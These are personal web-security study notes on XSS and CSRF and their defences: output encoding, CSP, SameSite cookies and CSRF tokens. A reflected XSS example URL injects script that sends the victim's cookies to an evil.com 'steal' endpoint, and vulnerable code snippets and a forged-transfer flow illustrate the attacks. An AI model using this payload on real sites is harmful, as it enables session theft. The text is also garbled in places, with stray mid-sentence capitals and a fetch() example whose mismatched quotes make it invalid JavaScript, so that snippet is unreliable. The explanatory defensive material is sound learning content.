Web Security - Wyatt's Notes

The OWASP Top 10 is the de facto standard for web application security awareness. The 2021 edition Reflects the shift toward cloud-native architectures and API-driven applications.

XSS occurs when an application includes untrusted data in a web page without proper validation or Escaping, allowing an attacker to execute scripts in the victim”s browser.

The malicious payload is included in the immediate HTTP response. The attacker crafts a URL Containing the payload and tricks the victim into visiting it.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

If the server reflects the q parameter directly into the HTML without encoding, the script Executes in the victim’s browser.

The payload is persisted in the application (database, comment, user profile) and executed every Time any user views the affected content.

// Vulnerable: storing and rendering user comments without sanitization
const comment = req.body.comment;
db.query('INSERT INTO comments (text) VALUES (?)', [comment]);

// Rendering (vulnerable):
// <div>${comment}</div>

Stored XSS is more dangerous than reflected XSS because it affects all users who view the Compromised content, not just the user who clicks a crafted link.

The vulnerability exists entirely in client-side JavaScript. The payload is manipulated in the DOM Without being sent to the server.

// Vulnerable: reading from location.hash and inserting into DOM
const userInput = document.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

Primary defense: Output encoding. Encode data based on the context where it appears:

// Using a templating engine with auto-escaping (safe)
// React/JSX auto-escapes by default
function UserProfile({ username }) {
  return <div>Hello, {username}</div>; // username is escaped
}

// Using DOM APIs safely
document.getElementById('output').textContent = userInput; // safe, no HTML parsing
// vs
document.getElementById('output').innerHTML = userInput; // UNSAFE

Content Security Policy (CSP) is a secondary defense that mitigates the impact of XSS by Restricting which scripts can execute.

CSRF tricks an authenticated user into executing an unwanted action on a web application where they Are already authenticated. The attack exploits the browser’s automatic inclusion of credentials (cookies) with requests.

sequenceDiagram
    participant V as Victim
    participant A as Attacker Site
    participant B as Bank (Victim's account)

    V->>B: Login to bank (session cookie set)
    V->>A: Visit attacker page
    A->>B: GET/POST /transfer?to=attacker&amount=10000 (automatic cookie send)
    B->>B: Execute transfer (valid session)
    B->>A: Redirect to confirmation page

SameSite cookies are the primary defense for modern applications:

Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly

CSRF tokens for legacy applications:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6" />
  <input type="text" name="amount" />
  <button type="submit">Transfer</button>
</form>

The server generates a cryptographically random token per session (or per request), includes it in Forms, and validates it on submission. The token must be tied to the user’s session.

Custom headers for API endpoints:

// Fetch API includes custom headers — cross-origin requests require CORS preflight
fetch('https://api.example.com/transfer', {
  method: "POST'',
  headers: {
    "Content-Type': "application/json'',
    "X-CSRF-Token': "a1b2c3d4e5f6'',
  },
  credentials: "include',
});

• OWASP Top 10 lists the most critical web application security risks that this broader overview contextualises.
• Cryptography provides the encryption and hashing mechanisms used to protect web communications and data.
• Network Security covers the transport-layer protections (TLS, firewalls) that secure web traffic.